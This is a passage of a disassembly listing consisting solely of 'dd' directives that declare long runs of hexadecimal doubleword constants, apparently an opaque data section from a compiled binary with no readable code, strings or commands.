		dd 0C00BDC90h, 3244448h, 0E8AE1BDAh, 0F23C9881h, 49431B41h
		dd 10C0C89Ch, 39CF2862h, 2BEDE0A4h, 0E8FFB96Ah,	0F5680039h
		dd 0A9ADC373h, 0DA0049C8h, 5142E57Ah, 60FBB654h, 0C53A0D5h
		dd 0B4185526h, 0BEE1127Eh, 83FD1646h, 8C801040h, 0DF2676C0h
		dd 0FA2CC869h, 4989A447h, 0CF48C017h, 9BBD07E0h, 32897F5Dh
		dd 0CCC4322Ch, 0EE40E894h, 7C42D136h, 41C100E6h, 4B8310CFh
		dd 0B07E0E17h, 2CB05C92h, 0A0247458h, 0C8077B0h, 0A9297914h
		dd 8B0107C2h, 0A2D82BC4h, 406028DCh, 1460FDE2h,	0EBF07Ch
		dd 7458B477h, 7F0FC2B7h, 0F6390B05h, 0C83DB5Dh,	696BA8A8h
		dd 0A67609A9h, 42004BDh, 0E79D3DD0h, 0E9A36E30h, 0EB1ABh
		dd 47E3037h, 4245589Ah,	0E69CEB00h, 2A93A753h, 0B12D3DF6h
		dd 0E0C70BFFh, 149CD5F9h, 7CDA1018h, 7EE7A188h,	0CFDF02E4h
		dd 0DDBC84E9h, 0A55A7040h, 0DE79046Eh, 2207C209h, 7D31EF78h
		dd 3D413A82h, 58E0C843h, 80B2C426h, 5C875200h, 0FDAB1FF0h
		dd 8918BBFBh, 0E0ECF98Dh, 0B36C6615h, 3A7C0CB0h, 3B208Bh
		dd 0EBF886CFh, 96B7BD7Eh, 2E2A3400h, 9842FCB5h,	9FA5004Dh
		dd 3A2B0403h, 0D8994190h, 0A1417821h, 0F8C93346h, 47376980h
		dd 594FAE5Ah, 38EE2402h, 60F03CCBh, 4D5D5678h, 404C80A2h
		dd 40A69012h, 3C4B4A4h,	0CC00CAB0h, 0EC3C45E8h,	7BA191h
		dd 2E325146h, 0B4E5FC49h, 970DAD00h, 88114CFBh,	0B2CE0EE6h
		dd 0E2A03B15h, 0EFA9DDCDh, 814DA200h, 0AB29697Ah, 95CF0721h
		dd 1044D9B5h, 5C67EB15h, 0BFFF4200h, 0EA5E6130h, 0A380007Fh
		dd 7E947617h, 0BD789F20h, 0CC0793F6h, 849BEC26h, 0DEBFE210h
		dd 8DE406h, 7D287B41h, 73870A6Eh, 0B160671Dh, 50081ECCh
		dd 835C0009h
dword_572994	dd 5EB746ABh, 0B80019BCh, 27B67DB9h, 0B0DAE8h, 1AA4789Dh
		dd 0BF697707h, 25031E71h, 2AC43B68h, 0A17861CDh, 0DCCCF334h
		dd 8D1893A1h, 0C27086ABh, 0A9B43E56h, 39923A85h, 70C0EF43h
		dd 2A53FFh, 4ECA5907h, 3CB9E194h, 6BF95A00h, 0E5065117h
		dd 99A1036Dh, 0CA86C521h, 0A30110AEh, 0DBAFBE0Fh, 5CCC8B7Fh
		dd 1F8200BCh, 4B389347h, 0ACE0A2E8h, 633CC00h, 6ED84A0Ah
		dd 803C075Fh, 0EC3E0FBAh, 240092ACh, 33F9DC76h,	6E631F3h
		dd 7210E0B4h, 0EC0091DDh, 0C1B0EB6Dh, 297E269h,	6CAE29CEh
		dd 0D7E0E7F1h, 4100DC10h, 0BB699431h, 181DB3E2h, 0F8882A0Eh
		dd 4800D240h, 3BD687AAh, 0F01CCABh, 0EA0A1D34h,	71AC7007h
		dd 0D5B45D4Ch, 0A96F6017h, 0DE784B60h, 0C1450518h, 29D12D49h
		dd 8099E1EAh, 0EE6DA821h, 78249Bh, 0E4D3210Ah, 0FB8DCD65h
		dd 3453407h, 0F0CA1F7Dh, 974A4200h, 77436974h, 2E0A3FCCh
		dd 171CACD2h, 1FA4013h,	8A9A4E24h, 0ACE4FB01h, 876A3AD7h
		dd 40F86981h, 0D7DABF83h, 7930C944h, 274CB7Fh, 0C3F8AA54h
		dd 0D5BC4912h, 0F8A75040h, 2A804E84h, 39AC42C2h, 5286BA40h
		dd 29FB48AEh, 0C002A7Eh, 93B094C3h, 732263Bh, 1C342423h
		dd 0FAA5E14Dh, 81944B48h, 6633DF3Ch, 24122020h,	60543AF8h
		dd 0F4871C82h, 215EB00h, 2FBEA06Dh, 180A71C0h, 0E0220534h
		dd 79153ED6h, 1EA0E9A7h, 5E1C2F8Ah, 0EF970CC3h,	0B5A299EDh
		dd 0AA3020h, 82CAF790h,	3A43EACFh, 4AA35B03h, 0F0EC2D96h
		dd 1888B840h, 0E8601B3Ch, 0AF0039A9h, 1862C971h, 92309269h
		dd 0AD7C03CCh, 0BE54DE98h, 3CD80FBDh, 25A37FE0h, 1C06E63Fh
		dd 4C2CEB10h, 0F72209F1h, 7420AA14h, 0EF17BA49h, 4AC5B100h
		dd 6CFBEAB8h, 0BF1800F5h, 0D990B369h, 9300F454h, 0C5D032E1h
		dd 146DBA27h, 0AC20B292h, 0CCE214A0h, 0C215F60h, 61C7E341h
		dd 64F82C33h, 826EE10Dh, 0ABF9B0D0h, 41EC42E5h,	0B440CB20h
		dd 3C7807CCh, 0B5B00934h, 5044F4E1h, 384D4F18h,	1874A458h
		dd 0C0F7EDBEh, 0AE00E771h, 9EDC3E94h, 0CF17A3Fh, 6C573C99h
		dd 0E6000168h, 9D32E509h, 3D625497h, 0F600E77Dh, 10DE64FDh
		dd 0E2736104h, 44159503h, 8858AF75h, 5CA87638h,	7D0ED3F1h
		dd 1203BB9Eh, 4B92A2F7h, 30021045h, 48E80755h, 0F4AD654h
		dd 42F86FEh, 8AB948E0h,	0D1603B3Fh, 7BC25BD0h, 0E5052ACDh
		dd 1653054h, 0AE7A4660h, 950304B0h, 635AF944h, 2E50C019h
		dd 7F03079Eh, 2E351462h, 6A1F06A1h, 31D8245Fh, 7CBF9D00h
		dd 1C0FFAFEh, 804D4C14h, 677070h, 0E1160204h, 61B4F005h
		dd 0BD288905h, 90C2ED60h, 51F04044h, 0CA331F95h, 0F05301EAh
		dd 0F043088Ah, 0AA489093h, 7790D8E0h, 0D43356A7h, 7F57373h
		dd 630FE917h, 0FA84E037h, 1F00FD11h, 3B20319Fh,	7CFF7E86h
		dd 0A4A35310h, 19096C56h, 28205D86h, 3F280E2Ah,	0DACD7503h
		dd 0A84411A8h, 3C781D23h, 0C00016Eh, 9E64FBC0h,	0C202387Eh
		dd 1AA0E86Bh, 0E50E412Ah, 7371DC40h, 4250C948h,	1C27CCA5h
		dd 84BCC28Ch, 8C484010h, 5058D43Eh, 8681594h, 0E7B603ECh
		dd 9F119E74h, 2D9B9C0h,	220C3072h, 0D51FDF50h, 0F165AD0Ch
		dd 4C93087h, 0D7C28B7Ah, 77A0C841h, 0A811E404h,	10903AAAh
		dd 589A248h, 0F2EADB45h, 24442928h, 12072B98h, 115F47EBh
		dd 0A9B96410h, 84808AC8h, 913B5020h, 7C375D00h,	0ACCB5C2Bh
		dd 1EFF07B8h, 553C2E9Ch, 4DC00C4Fh, 69B84B28h, 0A6C78D3Fh
		dd 582454B1h, 8FAA3302h, 8144406Bh, 14C01EFh, 0E64FCFC0h
		dd 3427C483h, 206890CFh, 0AA35283Fh, 7760071Ch,	0DB6D12C4h
		dd 548080Ah, 82B72C99h,	846478D8h, 6DB04700h, 6F959F67h
		dd 0AF520089h, 460F6A1Ah, 320F883Ch, 0A9590617h, 0B004905Dh
		dd 8D600049h, 6AD7D878h, 944C9295h, 212877B0h, 722C8077h
		dd 0AF498C02h, 2D242028h, 514C40F0h, 2AE47855h,	962EEAAh
		dd 1F636EF9h, 0B6355820h, 7EEA5F75h, 0EE008571h, 57AD1039h
		dd 181DA1EBh, 0F821F7C7h, 8112AE3Ah, 4C4F55DCh,	0B087603Dh
		dd 72D5CDEh, 0F92F23FDh, 8C98F9F8h, 777BAE24h, 7BB31B00h
		dd 1EA2FF71h, 2CA100F8h, 8D7AAD2Bh, 420922EAh, 171984Dh
		dd 6E74D214h, 362F0834h, 119EDA8Eh, 36691600h, 289575Bh
		dd 4EC80331h, 0FB423D9Ch, 0E4E86AC2h, 136036C2h, 0D58A83E1h
		dd 60192417h, 0FD688498h, 8BBC84ACh, 0A41C7DDCh, 3FEE08Bh
		dd 1948C8BDh, 0FB480766h, 0A7F9175Fh, 0FF81735Bh, 2738FDD0h
		dd 3DAC5002h, 6B540764h, 47981810h, 82E8599Bh, 7D162A70h
		dd 0D841C9D5h, 0CD540348h, 3B445DEh, 2C669907h,	2840D182h
		dd 0A03FB0Eh, 0A115DDC6h, 0E5FAA806h, 296C991Ah, 1C78B10Ch
		dd 4794340Dh, 48A36BF4h, 0D7101850h, 179CF149h,	6830CAE2h
		dd 5CF9AEEDh, 0F602543Dh, 34BE7F3Ah, 24E0E8E2h,	0C5EC88EDh
		dd 0F99AC807h, 0D9C45647h, 44AEE490h, 0EA022473h, 0A00940A4h
		dd 9F0C812Fh, 7075E837h, 0CB8A0096h, 0FCD0CA01h, 0C8602566h
		dd 2AB44D18h, 0D0A74811h, 43620102h, 0E6C2AA04h, 860DC4Ah
		dd 0F09A81BFh, 669A4D0Ch, 0C7E503Ah, 61C87119h,	0F553DBE8h
		dd 1E3870h, 596BF936h, 260BB009h, 3D32A88Eh, 0C1CD4218h
		dd 9E0832BBh, 403ED835h, 696195AFh, 87D1B610h, 0F648127Fh
		dd 28C495ABh, 0D1008754h, 0D750F3DBh, 4C21C27Ah, 7500BC1Fh
		dd 5277C45Ch, 0EB0091C3h, 2581F57Bh, 0FC97EC01h, 0C4954C45h
		dd 65F0C28Ch, 8AD7E213h, 36E38440h, 0A1B0AEh, 535E21FFh
		dd 7F2E0B6h, 425B78C0h,	99AA70B4h, 801F1294h, 0F530D090h
		dd 2453E300h, 93DB2AA9h, 96810E0Dh, 0F140A8FEh,	8C629403h
		dd 71409D58h, 940C4B58h, 115383Ch, 40DD2B0Fh, 54267F5Ch
		dd 104ADE00h, 342A6C17h, 0D3E02559h, 0E463B420h, 34390006h
		dd 0EB6E95F0h, 0D605B78Eh, 76E9864Eh, 358A70DCh, 610D62h
		dd 354DD58Ch, 0F95D7236h, 39DC543Ch, 7C20AF4Ah,	25622A53h
		dd 3C984484h, 0D200DBA2h, 4874A622h, 801F83h, 36F333FFh
		dd 5EF59C0Fh, 24F8A113h, 0CF9FCC00h, 5865BBE6h,	2C285CFFh
		dd 0FC110080h, 2342E07h, 19B8242Bh, 8004393Eh, 4E19EC62h
		dd 0B8D46E11h, 76774Eh,	0BAC5929Eh, 0C1F407EFh,	0D92B8E02h
		dd 0EC5D0179h, 0B15C0AECh, 8E980D91h, 89805704h, 0C8512DF9h
		dd 4A35541Fh, 586AE024h, 3B0AE720h, 84F8182Eh, 4A5A9160h
		dd 12C6FEBAh, 13A13AD7h, 25E84770h, 0C92E001Ah,	5B000994h
		dd 0B36EA3D3h, 2824E192h, 8EF88656h, 235909F4h,	208346FAh
		dd 0E7B09D71h, 792E311Fh, 0A8005BF1h, 18556750h, 44C0BCDh
		dd 0D8181737h, 0A1009938h, 0DE7EAA11h, 392FCBBEh, 0EC815DC3h
		dd 4F38B5EBh, 0F8E2DA9Bh, 57AC98E5h, 9CD76D02h,	6088421Bh
		dd 30D55B06h, 6CA83951h, 0C8091005h, 3608E3h, 77F05CC4h
		dd 0E0EA1747h, 24D02D41h, 520BA178h, 98F47B1Dh,	0E9298DCh
		dd 938981FFh, 46F71180h, 0A3094F2Dh, 0E98D6Ah, 4A36AAA0h
		dd 0AEB20053h, 38B8B03Ch, 2B2686C4h, 28A8B8C8h,	0BCE9CD07h
		dd 6F20C9E8h, 181346CBh, 88A9A37Ah, 1E412080h, 0F2ADD4h
		dd 8965FE58h, 4BF92A62h, 9E40909Ch, 215C2AEh, 0BFFC9099h
		dd 0D82CA7A8h, 0C6BC156Ch, 1702987Fh, 18CB1969h, 0E931F461h
		dd 4A00368Dh, 17F1C2Ch,	0D5C15CF6h, 201141F2h, 6F00927Ch
		dd 0A845ACBCh, 12743194h, 2C3B495Fh, 0D270B1B0h, 5812114Ah
		dd 0FB7F1470h, 92FF0DBh
		dd 0EEF0B8B4h, 0A0598784h, 67FA0CE4h, 0E54EB894h, 0A024C14Dh
		dd 0DD075470h, 272D075Bh, 5071FA32h, 86B17806h,	8133C827h
		dd 3EBBD90h, 414B1828h,	9D6CBC0h, 8F0C2133h, 9F3A29h, 3CB5C906h
		dd 3E7E55h, 2DC25FADh, 82774DEFh, 80AF1D38h, 54B59CF8h
		dd 2CE71A5Ah, 833C0252h, 0B216E55Ch, 28F8A105h,	8053A7F6h
		dd 63C39803h, 82CC899Ch, 298052EDh, 928ECB43h, 2FE2FC77h
		dd 5DE4A951h, 430C5550h, 0B75CFC50h, 4FE3ACEBh,	46F9C5D8h
		dd 0D1361B01h, 0A24A9997h, 90D4CADEh, 12D9C84h,	9E498E08h
		dd 0F49FA7FDh, 6907D21Fh, 1019A00Ah, 98188CC0h,	53C60EA1h
		dd 0BECE7CD5h, 0A052DD21h, 5CE6E05Ah, 64810894h, 0D4849135h
		dd 125434h, 0CD45C3A5h,	0BD65370Ch, 0FBBC8A13h,	7D797043h
		dd 7862A29Eh, 0ED5E0098h, 0DD0FF5A2h, 0BA127808h, 1827B67Dh
		dd 0B024E899h, 0D7F3000Eh, 81AB727Bh, 4F007D62h, 0EAB53D91h
		dd 771528C0h, 9AC602DBh, 9BDC3359h, 45AB5860h, 90E74E2Ah
		dd 9E00B48h, 0A033F9B0h, 64AD53F8h, 0DC5D6Fh, 43F8BE80h
		dd 664C1EC4h, 9C98092Ch, 791048FCh, 3BBA12A6h, 6CC00FEAh
		dd 0A4B5BE47h, 5CBC909Bh, 0E000697Ch, 0F090E962h, 288326B6h
		dd 0A08C60h, 9C893957h,	145F1D6Bh, 79256D09h, 7C46CCh
		dd 0F49A7407h, 1CADA623h, 140974Dh, 1D3403BFh, 0A0E4D5C0h
		dd 66FD2C60h, 76803F00h, 8BEBB1AAh, 0C3009E8Ah,	5CC9F7AFh
		dd 3448FFh, 735117ECh, 4270639Ch, 0A0252005h, 80EE71EFh
		dd 7F91F84Fh, 52F0AD01h, 38E17C30h, 2D4A1E4h, 3B09ED26h
		dd 24D37F92h, 80B90580h, 14347EBBh, 0A406858Dh,	96734206h
		dd 0F300508Fh, 309DFD55h, 92BAE8F2h, 0E877F674h, 9F034815h
		dd 8B01503Dh, 7ACFE29Bh, 405028F0h, 8F007D84h, 75D5EB18h
		dd 0E05B6D1Dh, 9B961CBDh, 2EF60A90h, 9A512BEh, 58E439E8h
		dd 1CBD3815h, 5A7F01D8h, 0E7A2A7CDh, 0A0601C6Dh, 0B93CDECBh
		dd 4F15701h, 0F36E7840h, 65C27C3Ch, 9C40C82Ch, 400F910h
		dd 67D88884h, 16DCB0A0h, 407C5D46h, 9F58FF0h, 8CB1ED1Dh
		dd 8A079141h, 0E40F0C29h, 0BE04CE6Eh, 55BF0186h, 9880A9CFh
		dd 8458CA44h, 4148AE34h, 0F2142E9Ch, 0B26B002Ch, 9E4D2CCh
		dd 5CE40C84h, 0F0903C89h, 0BD1877F7h, 0A069CCADh, 441C1670h
		dd 3040252Ch, 0CB77B488h, 1F254339h, 0BC4B1B6Eh, 806F8EF0h
		dd 603F59ECh, 529CB661h, 9C85E444h, 0E0E6018Fh,	481D7DE9h
		dd 84B611h, 8B5E43AAh, 70002A7Eh, 0A1870107h, 48E8FFC8h
		dd 3B8B9CA8h, 1D4054C8h, 80CC300h, 904A2D44h, 22423823h
		dd 75BA6D80h, 0F75DDC5Eh, 0D2CC6C00h, 0FAA85628h, 0D17F00EDh
		dd 356F15E7h, 84002154h, 77DE1A0Dh, 729B885h, 0BBFA4EDFh
		dd 9BA52162h, 276EF0EBh, 5E3D4470h, 34550142h, 401CEDB4h
		dd 0D704788Eh, 966C7743h, 0F57AF3C7h, 16280688h, 7CA5430Ch
		dd 258A68h, 0AFF3C8D7h,	0F4B13F09h, 5EA09C1Eh, 0C85584Eh
		dd 0C9098D2h, 0FB8C5AADh, 8400C1A9h, 0BFB66061h, 7BC416B0h
		dd 4CE001FEh, 8364A5D8h, 3F6CC884h, 6AA2990Fh, 74FAE0BDh
		dd 1C377DF0h, 0C10FF75Eh, 0FB2F27FEh, 0E83A609Bh, 8BB3E500h
		dd 0B1EE91C1h, 2D0E00C9h, 9048DDA3h, 8E05C231h,	9A6422D6h
		dd 90002784h, 4986161Bh, 31060090h, 223373EBh, 0A2E297CCh
		dd 0EC080B01h, 85701399h, 0C7214849h, 18FA5DCCh, 1948E7A1h
		dd 8FEEFE9Eh, 0D3376600h, 44DB053Ah, 641100FCh,	0AE2A1C6Ch
		dd 900589Bh, 0C3B47369h, 705D2908h, 0B9A50013h,	6B47DA46h
		dd 0B0031ADh, 0D281371Fh, 0C8123Dh, 0C7F661B5h,	252B8DAFh
		dd 98CB2230h, 0C2B0B2DCh, 33F4A360h, 741DEC87h,	0BA80C01Eh
		dd 43E6AEBDh, 12F9913Ch, 2C4C6415h, 1076004h, 49C10B56h
		dd 0D4EFF8D7h, 0D90013E4h, 193C85E9h, 0EBDFAF1h, 0F255AE8Dh
		dd 46E7EA0h, 0D051AD88h, 6483F8E4h, 0F4E53E00h,	5C21FB25h
		dd 500B00E2h, 0C8CBA298h, 3904A6ACh, 0EC764DAh,	4E5C0C80h
		dd 0CF180008h, 82C2FB24h, 0E2EC6E2Bh, 1D0ED0C0h, 676C63DBh
		dd 5334D9E4h, 0B9000C1Ah, 6F3F06FCh, 0C3A6EEFEh, 9F675950h
		dd 0B6C0AFAAh, 42497BB4h, 47506650h, 0C05A05B8h, 3CA894h
		dd 0B7573ED4h, 11C9B02Dh, 383C2C37h, 874A2A5Bh,	1D0C3B70h
		dd 3A003FEh, 2CFE06E8h,	40D8800h, 69DFAFE5h, 9B31483Ah
		dd 0C1804238h, 2C138F8Dh, 0C0EA6467h, 0CF128EF2h, 0E020B8B3h
		dd 24A4E3A8h, 811C3BF0h, 0B669FD9Bh, 9EAAD8D4h,	0AC568712h
		dd 0D21BEC04h, 1F662100h, 33E82C14h, 73068D00h,	460E1EE0h
		dd 60909Bh, 8A1C4425h, 86E6BEC9h, 14559724h, 888CA781h
		dd 0B8853FC5h, 9D7C0A3h, 0B4018DAEh, 8F2D043Eh,	320C8B29h
		dd 1B358101h, 0D020959Ah, 0A54E2AB1h, 0B8FB0088h, 17613912h
		dd 231303F7h, 0F1090F56h, 75C000BBh, 0A0B20115h, 0C2F9DCh
		dd 3F39C1DFh, 6BFACEABh, 0F708BD00h, 4D45D1CBh,	0D75B00C7h
		dd 0AD3CCA13h, 0C1B58875h, 67703505h, 0F37900B2h, 9F83108h
		dd 1F0E1DA7h, 922F9AEDh, 0C022244Fh, 0E9048088h, 2A5FE63Fh
		dd 0D0949Bh, 2BA8B086h,	8B43C30h, 0FDFF4CA8h, 383F4102h
		dd 487365FCh, 64F342Ch,	93475766h, 99C0D0E3h, 0C1B76253h
		dd 7C30FB4Ch, 5E3D0360h, 0B176C0FAh, 235D5001h,	0A174364Eh
		dd 0B2BFC77Fh, 0D8694788h, 0AF9EDCA6h, 2D653400h, 0CED5D9B4h
		dd 7EE5005Fh, 6484C560h, 8C9AF992h, 1E7FA776h, 0C4297B00h
		dd 0CE1F3019h, 0C02D3A91h, 8EBE5380h, 0A7E83BC1h, 771C709Ah
		dd 0DEEDD9FCh, 4E3707F8h, 559F53D7h, 0E646C2F8h, 48E2FD03h
		dd 8869C5F6h, 2AEF0Fh, 5E099DDBh, 0CDD437E4h, 0DA0A74E4h
		dd 308BB689h, 93045828h, 26F8EE0h, 8B9A4490h, 9C854948h
		dd 0EEB35202h, 384460DAh, 0AA212200h, 0B26C507Bh, 48DE773Dh
		dd 7600ACEEh, 0A803311Fh, 9B58686Ah, 4E6D138Ah,	0AA2D2809h
		dd 2E87C000h, 40807317h, 0E76A9827h, 0A85C2DECh, 2AF906D4h
		dd 1D980DE6h, 898E5F70h, 0C402EC93h, 0D08061CDh, 0C0F2BDF7h
		dd 0FA1E2BE0h, 0E64C9670h, 3813E0AAh, 745939D8h, 7B02583Bh
		dd 0AA6348EBh, 0C29F440h, 5E1B4300h, 0D6DBDE6Ah, 2A082654h
		dd 0C0F930EAh, 4C004060h, 6C34CEBCh, 0E992F2D9h, 40321C25h
		dd 345A85Eh, 80ED2510h,	0D27C023h, 13B8C0C4h, 78BB8B60h
		dd 0F4D45654h, 619C9030h, 591D5B3Ah, 801CC87h, 36685ADAh
		dd 0CAC1800Eh, 0CE953D51h, 1EA1FA1h, 5618FDD5h,	532841B2h
		dd 9A52B926h, 200A2F09h, 8816FA7Ch, 0F098C7h, 5B577242h
		dd 657060E2h, 390CA609h, 4A7C10E4h, 0C3740438h,	0D0F3A558h
		dd 83CC4FC4h, 0DDE6E10Bh, 86440161h, 0D080E220h, 0BCEF46D8h
		dd 0AC906E81h, 67DB3603h, 930B03E5h, 0E9403BA3h, 1C651B8Ch
		dd 0C1FFC11h, 1C26F8DAh, 29244A28h, 67008E2Bh, 0E3E74F3Ah
		dd 1624B0FEh, 0F5E15F8h, 0DC602D20h, 0FAA60565h, 0D0BA48h
		dd 0F394D196h, 4BFDB10h, 484C69AEh, 0E378D084h,	24051781h
		dd 5CBC0847h, 7C0E6090h, 0DE7015C8h, 0D703DC91h, 0D0F07568h
		dd 0F224D100h, 697C781Bh, 171C152Bh, 2444C8E0h,	1A71002Dh
		dd 2A8610CEh, 0B60096F8h, 38DB14D6h, 190CC8Dh, 2F7022C2h
		dd 24BA0F10h, 120940A8h, 30A1E3B0h, 13E83D18h, 585C9B53h
		dd 29C86834h, 6543049h,	79C5FB68h, 0F75F0278h, 263E564Fh
		dd 3F71E760h, 44BC5D01h, 9498E87Fh, 0C2C70h, 581C6F67h
		dd 0BC107271h
		dd 178C8B01h, 46DBED3Ch, 60C897h, 1CA9F805h, 717EE2C7h
		dd 0DAB82615h, 97C20084h, 2F816044h, 458B0177h,	0EF285708h
		dd 0EB3AF824h, 0FC4A856h, 0C425C880h, 0B48AC70Dh, 9D8BEB01h
		dd 35051B34h, 4C408134h, 7262FB3Dh, 1129F024h, 63FB050h
		dd 1727A15Dh, 0BABE0030h, 8F208E46h, 517967Ch, 4208085h
		dd 0B85171F0h, 7D8890ACh, 3A930044h, 9E505520h,	4B07DC6Fh
		dd 6AD1B643h, 0F0C2A825h, 5AD06059h, 0AE823E37h, 0E60516h
		dd 788B0E0Ch, 0C701FD21h, 0CBEA4DB1h, 0F870687Dh, 8D5800B3h
		dd 80064A4Ch, 4E0CD48Fh, 0C10B1A66h, 16C611F7h,	1023017Dh
		dd 276B2ABBh, 98F18074h, 0F62C0076h, 78BA683Ch,	180CEBB1h
		dd 0E879D2F7h, 5D040632h, 31B3E40Bh, 0C2D85063h, 0ED4EB890h
		dd 36A10455h, 90492521h, 22374468h, 0DFCB712h, 14C1E423h
		dd 3CC9B230h, 0CCF05026h, 0CC721118h, 0E5DEB100h, 845D1EF3h
		dd 461D056Eh, 16ED5202h, 0D2D8071Ch, 8233F325h,	0CABAA5C8h
		dd 86ABD000h, 0D1C00922h, 0B12B00A2h, 2E12C51Dh, 0A00E65AAh
		dd 77334B07h, 0B8167449h, 51E5BD4h, 45071759h, 0D867C405h
		dd 0C138F9D4h, 0F3968146h, 0BAFC6F70h, 7D617C30h, 0F9EE1FA0h
		dd 0D58B9FD4h, 0B874E44Bh, 0A37E58h, 0C6AEF56Fh, 0C03447F7h
		dd 0D73D9A1Fh, 0C25780BBh, 8CB77D96h, 9C8700BCh, 20C9A4A7h
		dd 0D012E524h, 8C00F80Bh, 71E9D94Dh, 0C527006Ch, 3A8F2D10h
		dd 0EA005B90h, 0EEFD8CA0h, 0A867Ah, 0FC10E2A9h,	7D4C6026h
		dd 12009CFCh, 0F371B633h, 2A6653h, 0D8AD2051h, 4F6485EDh
		dd 80F4D33Eh, 4DD11745h, 123460BFh, 0F07CB1h, 0DABB5A4Ch
		dd 943D796Ch, 0FC151E0Ch, 9655D90Bh, 6E850064h,	4BF9431Ah
		dd 382582EBh, 448489E9h, 0F8F88388h, 9854EEh, 0C2B9D678h
		dd 0F1FE710Eh, 0D9142600h, 4EE89DE2h, 37A079Ah,	0B59B2E01h
		dd 0B5EC00DEh, 6EF235DAh, 270BEA05h, 0C88CA883h, 94992E6Ah
		dd 605D9700h, 416EB58Ch, 6254D7Ah, 15496E6h, 0FF03491Ch
		dd 488390C4h, 0DF60D064h, 0D11875C0h, 2EE90022h, 47FDC081h
		dd 9B2EC10Bh, 68294676h, 141DC041h, 0AF803C32h,	0D67D54B9h
		dd 0AA4E8918h, 0B2B8089h, 0C40A1C1Fh, 50139C20h, 9F4C6A1Eh
		dd 368200F8h, 7C7E111Fh, 0D4835CBBh, 81222FB0h,	8574AF0Eh
		dd 8259B886h, 4AADEA7Dh, 3FC20C0h, 0E894FBFDh, 38B043E4h
		dd 0C0942Ch, 0D111757Ah, 79255D8Ah, 4A9892C6h, 60A4B20Ch
		dd 18530324h, 0C1AC41D3h, 8C29682Bh, 54C1C4B9h,	0C60620Eh
		dd 2505001Ah, 0E57CF8E1h, 6C9087F4h, 81D1B439h,	9626B557h
		dd 0C8508486h, 0A7476035h, 0F2003E44h, 0E754ED6Fh, 0D1079C5Dh
		dd 10FD09CAh, 951D2AB0h, 7BE61281h, 0A69809C1h,	4A00248Bh
		dd 8C85328Dh, 0AA2C7C16h, 26ECAC50h, 66136865h,	5400D8h
		dd 0B074CDDCh, 3B43C8D4h, 0F64F9000h, 0E069E6B6h, 0BF78BCh
		dd 5FD7E2ACh, 0F77B1A8Bh, 0F0C075FEh, 8F1595EAh, 9B7463h
		dd 0EF6AB132h, 0C03BE59Dh, 7B1BD600h, 8F5C776Dh, 7320B890h
		dd 0B6270E4Bh, 0B58006E9h, 28CEBDC9h, 64986560h, 0BA996741h
		dd 12C27830h, 424FBCF0h, 455DC788h, 0A09DD860h,	33524890h
		dd 96DCh, 181B7D87h, 8CEF550Fh,	0E13E7440h, 46EFAEDh, 1462AB3h
		dd 50E48DB9h, 62D8FA28h, 3C222017h, 2CC2D077h, 577C4801h
		dd 4CD604EEh, 814B51BCh, 52A0840Ch, 0E48E4FD8h,	80B4AF21h
		dd 734187CFh, 4FE26D2h,	4CA46283h, 0CDD102E7h, 0B2988DA0h
		dd 84678860h, 7F1B8C00h, 7E4AD4B1h, 8E6A04D9h, 808942BBh
		dd 4C943137h, 5466AE03h, 0B7E799h, 0EC34C638h, 0C5C45733h
		dd 225CCB07h, 49604A5Ah, 367D190h, 7AF10F55h, 5A014513h
		dd 0B6F870CCh, 198080F5h, 32C24BA1h, 0E900FF21h, 0D09F6EE0h
		dd 2ADACEh, 58945E4Ah, 6D614FCh, 5A7D500h, 75C0127Dh, 35930046h
		dd 6111F7BEh, 2BEEA914h, 0A545BB00h, 17826D91h,	1D676AFh
		dd 56BE104Eh, 6ECBDDF1h, 1E816A0h, 0F6C22F67h, 4602542Eh
		dd 7A3F541Ch, 2A1193AEh, 0B0A7E401h, 0B0BD2E96h, 9FCEBE00h
		dd 77C1021Eh, 854667Eh,	0D716FA4Ch, 0E400BE56h,	26E2FBD6h
		dd 100D0075h, 9119B9B7h, 89000273h, 8133F36Eh, 1580C1h
		dd 0FBCE3664h, 0A38A110Ah, 1C8864ABh, 47007F0Eh, 0D19FDBB8h
		dd 0A36B7C5h, 0B61395C2h, 8C0A14B0h, 2C9DDA0h, 0A80CC718h
		dd 0AFCC18h, 3A407919h,	9B0757B6h, 35A46E00h, 0E332E4D7h
		dd 0DAB0C624h, 42002ACFh, 869A1A7Dh, 89958Dh, 0A334073h
		dd 194EB26Eh, 0F0D0D12Dh, 8E9800DEh, 0BCC6702Eh, 86EECD82h
		dd 1554EB00h, 769F1DBFh, 0A9600055h, 83925D69h,	7C01DEB2h
		dd 0C62630FBh, 2BD8E2DBh, 95963A8Eh, 15E7777Ch,	0C82F9ACBh
		dd 0E305B194h, 28F99D01h, 0B60022B0h, 5E6E0A5h,	0B7683099h
		dd 50004258h, 0DBB75C2h, 490F5DFh, 0D8E5AE08h, 4114804Ah
		dd 81009E25h, 0D66A1F9h, 73FFC13Ah, 0A364385Fh,	0A79D3600h
		dd 0AF99433Eh, 0F3E22602h, 13537E21h, 57284805h, 0E2C1CBE8h
		dd 51FC0A3Eh, 0FA422AC3h, 60E924A8h, 56F0404Ch,	31384409h
		dd 0EE2050Dh, 0B00573C6h, 7040DFD4h, 87F567C9h,	0AD11937h
		dd 0FC896910h, 0E61F8C60h, 0F04C86B8h, 287FCDE4h, 28FC1477h
		dd 0F90B024h, 8E3B8A0Dh, 71454D00h, 490A34B3h, 0B4D57AD2h
		dd 7525DA00h, 8CD4Ah, 0F6173544h, 0BE19FCBh, 0C4209D24h
		dd 0F2C82202h, 0A3B8B877h, 8CAE002Ch, 0AADA40BBh, 0F0006998h
		dd 570E0432h, 1F4F836Ch, 4F2B6323h, 0BA0C764h, 0BE8F9684h
		dd 0F3EE1A07h, 9341D8F9h, 0E0CBB49Bh, 1D963068h, 0C056722Fh
		dd 74C3D9A1h, 58002483h, 52A75DD3h, 1435097Bh, 98875FE9h
		dd 65474101h, 0FBB6B777h, 2FD2C90Ah, 850AAC03h,	11090883h
		dd 8F0899C3h, 0D371CB47h, 0D080DF3Fh, 555A704Dh, 2CF2F6FBh
		dd 2F909150h, 1BE3F700h, 8ECB061Dh, 149866h, 1A9A1402h
		dd 0A99F030h, 952FA00h,	37BBC945h, 785A0E6Dh, 931F0Fh
		dd 0C44B6AF7h, 30763B46h, 8619F91Ch, 84CEC100h,	2B08739h
		dd 0D47EA634h, 30661548h, 1E099490h, 0A0DA3EACh, 662C8850h
		dd 0BF2D03C3h, 5ADBEDDCh, 0F7C841DDh, 80C01EE6h, 431234F0h
		dd 37A7BDh, 13C9FBCFh, 17B1CDBCh, 1693893h, 0AB9791Ch
